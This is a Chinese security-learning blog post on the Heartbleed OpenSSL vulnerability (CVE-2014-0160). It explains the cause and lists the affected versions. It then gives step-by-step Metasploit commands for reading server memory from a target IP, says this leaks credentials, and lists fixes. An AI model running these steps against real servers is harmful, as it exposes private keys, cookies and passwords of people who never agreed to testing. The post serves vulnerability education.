WEB安全漏洞学习---心脏滴血

心脏滴血(CVE-2014-0160)


0x01 概念

心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多。

摘自百度百科

更专业的说:

OpenSSL的Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。

0x02 受影响的版本

  • OpenSSL 1.0.2-beta
  • OpenSSL 1.0.1 - OpenSSL 1.0.1f

0x03 漏洞利用

使用工具:Metasploit
第一步 搜索模块 ps:搜索关键字即可

search heartbleed 

在这里插入图片描述
第二步 使用模块

use auxiliary/scanner/ssl/openssl_heartbleed 

第三步 查看参数

show options    发现需要设置目标ip,端口443默认设置。

在这里插入图片描述
第四步 设置参数利用

set rhosts  目标ip              设置目标ip
set verbose true                设置内容现实

在这里插入图片描述在这里插入图片描述
第五步 攻击利用

run/exploit    两个命令都可以

0x04 漏洞危害

下图就是攻击后返的内容:
在这里插入图片描述
我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。上图为获取到的账户密码信息。

0x04 漏洞修复

  • 停止旧版的 openssl 服务,升级 openssl 到新版本,并重新启动。
  • 修改密码。
发布了53 篇原创文章 · 获赞 14 · 访问量 7521

猜你喜欢

转载自blog.csdn.net/qq_39326816/article/details/104617366